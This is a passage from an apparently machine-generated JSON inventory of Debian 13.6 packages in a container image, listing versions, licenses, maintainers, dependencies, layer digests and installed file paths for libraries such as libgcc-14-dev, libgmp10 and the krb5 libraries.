"AnalyzedBy": "dpkg" }, { "ID": "libdebconfclient0@0.280", "Name": "libdebconfclient0", "Identifier": { "PURL": "pkg:deb/debian/libdebconfclient0@0.280?arch=amd64\u0026distro=debian-13.6", "UID": "fcad452fa456130" }, "Version": "0.280", "Arch": "amd64", "SrcName": "cdebconf", "SrcVersion": "0.280", "Licenses": [ "BSD-2-Clause", "GPL-2.0-or-later", "GPL-2.0-only" ], "Maintainer": "Debian Install System Team \u003cdebian-boot@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libdebconfclient.so.0.0.0", "/usr/share/doc/libdebconfclient0/changelog.gz", "/usr/share/doc/libdebconfclient0/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libffi8@3.4.8-2", "Name": "libffi8", "Identifier": { "PURL": "pkg:deb/debian/libffi8@3.4.8-2?arch=amd64\u0026distro=debian-13.6", "UID": "9b9f5a0532948cab" }, "Version": "3.4.8", "Release": "2", "Arch": "amd64", "SrcName": "libffi", "SrcVersion": "3.4.8", "SrcRelease": "2", "Licenses": [ "MIT", "X11", "GPL-2.0-or-later", "GPL-3.0-or-later", "MPL-1.1", "LGPL-2.1-or-later", "public-domain" ], "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3" ], "Layer": { "DiffID": "sha256:801c4088600fc9b873e1c1e87708adfce646f06b31d533588ee4781bc917b8ed" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libffi.so.8.1.4", "/usr/share/doc/libffi8/changelog.Debian.gz", "/usr/share/doc/libffi8/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libgcc-14-dev@14.2.0-19", "Name": "libgcc-14-dev", "Identifier": { "PURL": "pkg:deb/debian/libgcc-14-dev@14.2.0-19?arch=amd64\u0026distro=debian-13.6", "UID": "a1a5b7b8d531d5c2" }, "Version": "14.2.0", "Release": "19", "Arch": "amd64", "SrcName": "gcc-14", "SrcVersion": "14.2.0", "SrcRelease": "19", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "gcc-14-base@14.2.0-19", "libasan8@14.2.0-19", "libatomic1@14.2.0-19", "libgcc-s1@14.2.0-19", "libgomp1@14.2.0-19", "libhwasan0@14.2.0-19", "libitm1@14.2.0-19", "liblsan0@14.2.0-19", "libquadmath0@14.2.0-19", "libtsan2@14.2.0-19", "libubsan1@14.2.0-19" ], "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/lib/gcc/x86_64-linux-gnu/14/crtbegin.o", "/usr/lib/gcc/x86_64-linux-gnu/14/crtbeginS.o", "/usr/lib/gcc/x86_64-linux-gnu/14/crtbeginT.o", "/usr/lib/gcc/x86_64-linux-gnu/14/crtend.o", "/usr/lib/gcc/x86_64-linux-gnu/14/crtendS.o", "/usr/lib/gcc/x86_64-linux-gnu/14/crtfastmath.o", "/usr/lib/gcc/x86_64-linux-gnu/14/crtoffloadbegin.o", "/usr/lib/gcc/x86_64-linux-gnu/14/crtoffloadend.o", "/usr/lib/gcc/x86_64-linux-gnu/14/crtoffloadtable.o", "/usr/lib/gcc/x86_64-linux-gnu/14/crtoffloadtableS.o", "/usr/lib/gcc/x86_64-linux-gnu/14/crtprec32.o", "/usr/lib/gcc/x86_64-linux-gnu/14/crtprec64.o", "/usr/lib/gcc/x86_64-linux-gnu/14/crtprec80.o", "/usr/lib/gcc/x86_64-linux-gnu/14/include/acc_prof.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/adxintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/ammintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/amxbf16intrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/amxcomplexintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/amxfp16intrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/amxint8intrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/amxtileintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx2intrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx5124fmapsintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx5124vnniwintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512bf16intrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512bf16vlintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512bitalgintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512bitalgvlintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512bwintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512cdintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512dqintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512erintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512fintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512fp16intrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512fp16vlintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512ifmaintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512ifmavlintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512pfintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512vbmi2intrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512vbmi2vlintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512vbmiintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512vbmivlintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512vlbwintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512vldqintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512vlintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512vnniintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512vnnivlintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512vp2intersectintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512vp2intersectvlintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512vpopcntdqintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512vpopcntdqvlintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avxifmaintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avxintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avxneconvertintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avxvnniint16intrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avxvnniint8intrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avxvnniintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/backtrace-supported.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/backtrace.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/bmi2intrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/bmiintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/bmmintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/cet.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/cetintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/cldemoteintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/clflushoptintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/clwbintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/clzerointrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/cmpccxaddintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/cpuid.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/cross-stdarg.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/emmintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/enqcmdintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/f16cintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/float.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/fma4intrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/fmaintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/fxsrintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/gcov.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/gfniintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/hresetintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/ia32intrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/immintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/iso646.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/keylockerintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/limits.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/lwpintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/lzcntintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/mm3dnow.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/mm_malloc.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/mmintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/movdirintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/mwaitintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/mwaitxintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/nmmintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/omp.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/openacc.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/pconfigintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/pkuintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/pmmintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/popcntintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/prfchiintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/prfchwintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/quadmath.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/quadmath_weak.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/raointintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/rdseedintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/rtmintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/sanitizer/asan_interface.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/sanitizer/common_interface_defs.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/sanitizer/hwasan_interface.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/sanitizer/lsan_interface.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/sanitizer/tsan_interface.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/serializeintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/sgxintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/sha512intrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/shaintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/sm3intrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/sm4intrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/smmintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/stdalign.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/stdarg.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/stdatomic.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/stdbool.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/stdckdint.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/stddef.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/stdfix.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/stdint-gcc.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/stdint.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/stdnoreturn.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/syslimits.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/tbmintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/tmmintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/tsxldtrkintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/uintrintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/unwind.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/usermsrintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/vaesintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/varargs.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/vpclmulqdqintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/waitpkgintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/wbnoinvdintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/wmmintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/x86gprintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/x86intrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/xmmintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/xopintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/xsavecintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/xsaveintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/xsaveoptintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/xsavesintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/xtestintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/libasan.a", "/usr/lib/gcc/x86_64-linux-gnu/14/libasan_preinit.o", "/usr/lib/gcc/x86_64-linux-gnu/14/libatomic.a", "/usr/lib/gcc/x86_64-linux-gnu/14/libbacktrace.a", "/usr/lib/gcc/x86_64-linux-gnu/14/libgcc.a", "/usr/lib/gcc/x86_64-linux-gnu/14/libgcc_eh.a", "/usr/lib/gcc/x86_64-linux-gnu/14/libgcc_s.so", "/usr/lib/gcc/x86_64-linux-gnu/14/libgcov.a", "/usr/lib/gcc/x86_64-linux-gnu/14/libgomp.a", "/usr/lib/gcc/x86_64-linux-gnu/14/libhwasan.a", "/usr/lib/gcc/x86_64-linux-gnu/14/libitm.a", "/usr/lib/gcc/x86_64-linux-gnu/14/liblsan.a", "/usr/lib/gcc/x86_64-linux-gnu/14/liblsan_preinit.o", "/usr/lib/gcc/x86_64-linux-gnu/14/libquadmath.a", "/usr/lib/gcc/x86_64-linux-gnu/14/libssp_nonshared.a", "/usr/lib/gcc/x86_64-linux-gnu/14/libtsan.a", "/usr/lib/gcc/x86_64-linux-gnu/14/libtsan_preinit.o", "/usr/lib/gcc/x86_64-linux-gnu/14/libubsan.a" ], "AnalyzedBy": "dpkg" }, { "ID": "libgcc-s1@14.2.0-19", "Name": "libgcc-s1", "Identifier": { "PURL": "pkg:deb/debian/libgcc-s1@14.2.0-19?arch=amd64\u0026distro=debian-13.6", "UID": "6ebf985ba3bd76f3" }, "Version": "14.2.0", "Release": "19", "Arch": "amd64", "SrcName": "gcc-14", "SrcVersion": "14.2.0", "SrcRelease": "19", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "gcc-14-base@14.2.0-19", "libc6@2.41-12+deb13u3" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libgcc_s.so.1", "/usr/share/lintian/overrides/libgcc-s1" ], "AnalyzedBy": "dpkg" }, { "ID": "libgdbm-compat4t64@1.24-2", "Name": "libgdbm-compat4t64", "Identifier": { "PURL": "pkg:deb/debian/libgdbm-compat4t64@1.24-2?arch=amd64\u0026distro=debian-13.6", "UID": "d1c10eab80f77d53" }, "Version": "1.24", "Release": "2", "Arch": "amd64", "SrcName": "gdbm", "SrcVersion": "1.24", "SrcRelease": "2", "Licenses": [ "GPL-3.0-or-later", "GPL-2.0-or-later", "GFDL-1.3-no-invariants-or-later", "GPL-3.0-only", "GPL-2.0-only" ], "Maintainer": "Nicolas Mora \u003cbabelouest@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3", "libgdbm6t64@1.24-2" ], "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libgdbm_compat.so.4.0.0", "/usr/share/doc/libgdbm-compat4t64/changelog.Debian.gz", "/usr/share/doc/libgdbm-compat4t64/changelog.gz", "/usr/share/doc/libgdbm-compat4t64/copyright", "/usr/share/lintian/overrides/libgdbm-compat4t64" ], "AnalyzedBy": "dpkg" }, { "ID": "libgdbm6t64@1.24-2", "Name": "libgdbm6t64", "Identifier": { "PURL": "pkg:deb/debian/libgdbm6t64@1.24-2?arch=amd64\u0026distro=debian-13.6", "UID": "942142133e693ac4" }, "Version": "1.24", "Release": "2", "Arch": "amd64", "SrcName": "gdbm", "SrcVersion": "1.24", "SrcRelease": "2", "Licenses": [ "GPL-3.0-or-later", "GPL-2.0-or-later", "GFDL-1.3-no-invariants-or-later", "GPL-3.0-only", "GPL-2.0-only" ], "Maintainer": "Nicolas Mora \u003cbabelouest@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3" ], "Layer": { "DiffID": "sha256:801c4088600fc9b873e1c1e87708adfce646f06b31d533588ee4781bc917b8ed" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libgdbm.so.6.0.0", "/usr/share/doc/libgdbm6t64/changelog.Debian.gz", "/usr/share/doc/libgdbm6t64/changelog.gz", "/usr/share/doc/libgdbm6t64/copyright", "/usr/share/lintian/overrides/libgdbm6t64" ], "AnalyzedBy": "dpkg" }, { "ID": "libgmp10@2:6.3.0+dfsg-3", "Name": "libgmp10", "Identifier": { "PURL": "pkg:deb/debian/libgmp10@6.3.0%2Bdfsg-3?arch=amd64\u0026distro=debian-13.6\u0026epoch=2", "UID": "fec85c1b440262e2" }, "Version": "6.3.0+dfsg", "Release": "3", "Epoch": 2, "Arch": "amd64", "SrcName": "gmp", "SrcVersion": "6.3.0+dfsg", "SrcRelease": "3", "SrcEpoch": 2, "Licenses": [ "GPL-2.0-or-later", "LGPL-3.0-or-later", "GPL-3.0-or-later", "GPL-3+ with Bison exception", "GPL-2.0-only", "GPL-3.0-only", "LGPL-3.0-only" ], "Maintainer": "Debian Science Maintainers \u003cdebian-science-maintainers@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libgmp.so.10.5.0", "/usr/share/doc/libgmp10/README.Debian", "/usr/share/doc/libgmp10/changelog.Debian.gz", "/usr/share/doc/libgmp10/changelog.gz", "/usr/share/doc/libgmp10/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libgomp1@14.2.0-19", "Name": "libgomp1", "Identifier": { "PURL": "pkg:deb/debian/libgomp1@14.2.0-19?arch=amd64\u0026distro=debian-13.6", "UID": "7677b3b5e38dcec7" }, "Version": "14.2.0", "Release": "19", "Arch": "amd64", "SrcName": "gcc-14", "SrcVersion": "14.2.0", "SrcRelease": "19", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "gcc-14-base@14.2.0-19", "libc6@2.41-12+deb13u3" ], "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libgomp.so.1.0.0" ], "AnalyzedBy": "dpkg" }, { "ID": "libgprofng0@2.44-3", "Name": "libgprofng0", "Identifier": { "PURL": "pkg:deb/debian/libgprofng0@2.44-3?arch=amd64\u0026distro=debian-13.6", "UID": "6b61ee2e2ea52cbc" }, "Version": "2.44", "Release": "3", "Arch": "amd64", "SrcName": "binutils", "SrcVersion": "2.44", "SrcRelease": "3", "Maintainer": "Matthias Klose \u003cdoko@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libbinutils@2.44-3", "libc6@2.41-12+deb13u3", "libgcc-s1@14.2.0-19", "libstdc++6@14.2.0-19", "zlib1g@1:1.3.dfsg+really1.3.1-1+b1" ], "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/gprofng/libgp-collector.so", "/usr/lib/x86_64-linux-gnu/gprofng/libgp-collectorAPI.so", "/usr/lib/x86_64-linux-gnu/gprofng/libgp-heap.so", "/usr/lib/x86_64-linux-gnu/gprofng/libgp-iotrace.so", "/usr/lib/x86_64-linux-gnu/gprofng/libgp-sync.so", "/usr/lib/x86_64-linux-gnu/libgprofng.so.0.0.0" ], "AnalyzedBy": "dpkg" }, { "ID": "libgssapi-krb5-2@1.21.3-5+deb13u1", "Name": "libgssapi-krb5-2", "Identifier": { "PURL": "pkg:deb/debian/libgssapi-krb5-2@1.21.3-5%2Bdeb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "5d4dffd38d290d53" }, "Version": "1.21.3", "Release": "5+deb13u1", "Arch": "amd64", "SrcName": "krb5", "SrcVersion": "1.21.3", "SrcRelease": "5+deb13u1", "Licenses": [ "GPL-2.0-only" ], "Maintainer": "Sam Hartman \u003chartmans@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3", "libcom-err2@1.47.2-3+b11", "libk5crypto3@1.21.3-5+deb13u1", "libkrb5-3@1.21.3-5+deb13u1", "libkrb5support0@1.21.3-5+deb13u1" ], "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libgssapi_krb5.so.2.2", "/usr/share/doc/libgssapi-krb5-2/changelog.Debian.gz", "/usr/share/doc/libgssapi-krb5-2/copyright", "/usr/share/lintian/overrides/libgssapi-krb5-2" ], "AnalyzedBy": "dpkg" }, { "ID": "libhogweed6t64@3.10.1-1", "Name": "libhogweed6t64", "Identifier": { "PURL": "pkg:deb/debian/libhogweed6t64@3.10.1-1?arch=amd64\u0026distro=debian-13.6", "UID": "8a048285d77ff6c0" }, "Version": "3.10.1", "Release": "1", "Arch": "amd64", "SrcName": "nettle", "SrcVersion": "3.10.1", "SrcRelease": "1", "Licenses": [ "LGPL-3.0-or-later", "GPL-2.0-or-later", "LGPL-2.0-or-later", "LGPL-2.0-only", "MIT", "GPL-3.0-with-autoconf-exception+", "public-domain", "GPL-2.0-only", "GAP" ], "Maintainer": "Magnus Holmgren \u003cholmgren@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3", "libgmp10@2:6.3.0+dfsg-3", "libnettle8t64@3.10.1-1" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libhogweed.so.6.10", "/usr/share/doc/libhogweed6t64/changelog.Debian.gz", "/usr/share/doc/libhogweed6t64/changelog.gz", "/usr/share/doc/libhogweed6t64/copyright", "/usr/share/lintian/overrides/libhogweed6t64" ], "AnalyzedBy": "dpkg" }, { "ID": "libhwasan0@14.2.0-19", "Name": "libhwasan0", "Identifier": { "PURL": "pkg:deb/debian/libhwasan0@14.2.0-19?arch=amd64\u0026distro=debian-13.6", "UID": "39c2072f853c2917" }, "Version": "14.2.0", "Release": "19", "Arch": "amd64", "SrcName": "gcc-14", "SrcVersion": "14.2.0", "SrcRelease": "19", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "gcc-14-base@14.2.0-19", "libc6@2.41-12+deb13u3", "libgcc-s1@14.2.0-19" ], "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libhwasan.so.0.0.0", "/usr/share/lintian/overrides/libhwasan0" ], "AnalyzedBy": "dpkg" }, { "ID": "libisl23@0.27-1", "Name": "libisl23", "Identifier": { "PURL": "pkg:deb/debian/libisl23@0.27-1?arch=amd64\u0026distro=debian-13.6", "UID": "e2efb1522eaeb2d3" }, "Version": "0.27", "Release": "1", "Arch": "amd64", "SrcName": "isl", "SrcVersion": "0.27", "SrcRelease": "1", "Licenses": [ "MIT", "BSD-2-Clause", "LGPL-2.1-or-later", "LGPL-2.0-only" ], "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3", "libgmp10@2:6.3.0+dfsg-3" ], "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libisl.so.23.4.0", "/usr/share/doc/libisl23/changelog.Debian.gz", "/usr/share/doc/libisl23/changelog.gz", "/usr/share/doc/libisl23/copyright", "/usr/share/gdb/auto-load/usr/lib/x86_64-linux-gnu/libisl.so.23.4.0-gdb.py" ], "AnalyzedBy": "dpkg" }, { "ID": "libitm1@14.2.0-19", "Name": "libitm1", "Identifier": { "PURL": "pkg:deb/debian/libitm1@14.2.0-19?arch=amd64\u0026distro=debian-13.6", "UID": "46facaa93a2489e7" }, "Version": "14.2.0", "Release": "19", "Arch": "amd64", "SrcName": "gcc-14", "SrcVersion": "14.2.0", "SrcRelease": "19", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "gcc-14-base@14.2.0-19", "libc6@2.41-12+deb13u3" ], "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libitm.so.1.0.0" ], "AnalyzedBy": "dpkg" }, { "ID": "libjansson4@2.14-2+b3", "Name": "libjansson4", "Identifier": { "PURL": "pkg:deb/debian/libjansson4@2.14-2%2Bb3?arch=amd64\u0026distro=debian-13.6", "UID": "a31f72ff1282a903" }, "Version": "2.14", "Release": "2+b3", "Arch": "amd64", "SrcName": "jansson", "SrcVersion": "2.14", "SrcRelease": "2", "Licenses": [ "MIT" ], "Maintainer": "Alessandro Ghedini \u003cghedo@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3" ], "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libjansson.so.4.14.0", "/usr/share/doc/libjansson4/README.rst", "/usr/share/doc/libjansson4/changelog.Debian.amd64.gz", "/usr/share/doc/libjansson4/changelog.Debian.gz", "/usr/share/doc/libjansson4/changelog.gz", "/usr/share/doc/libjansson4/copyright", "/usr/share/doc/libjansson4/examples/json_process.c" ], "AnalyzedBy": "dpkg" }, { "ID": "libk5crypto3@1.21.3-5+deb13u1", "Name": "libk5crypto3", "Identifier": { "PURL": "pkg:deb/debian/libk5crypto3@1.21.3-5%2Bdeb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "c62ac626db2eb5f6" }, "Version": "1.21.3", "Release": "5+deb13u1", "Arch": "amd64", "SrcName": "krb5", "SrcVersion": "1.21.3", "SrcRelease": "5+deb13u1", "Licenses": [ "GPL-2.0-only" ], "Maintainer": "Sam Hartman \u003chartmans@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3", "libkrb5support0@1.21.3-5+deb13u1" ], "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libk5crypto.so.3.1", "/usr/share/doc/libk5crypto3/changelog.Debian.gz", "/usr/share/doc/libk5crypto3/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libkeyutils1@1.6.3-6", "Name": "libkeyutils1", "Identifier": { "PURL": "pkg:deb/debian/libkeyutils1@1.6.3-6?arch=amd64\u0026distro=debian-13.6", "UID": "40429856846c1f9a" }, "Version": "1.6.3", "Release": "6", "Arch": "amd64", "SrcName": "keyutils", "SrcVersion": "1.6.3", "SrcRelease": "6", "Licenses": [ "GPL-2.0-or-later", "LGPL-2.0-or-later", "GPL-2.0-only", "LGPL-2.0-only" ], 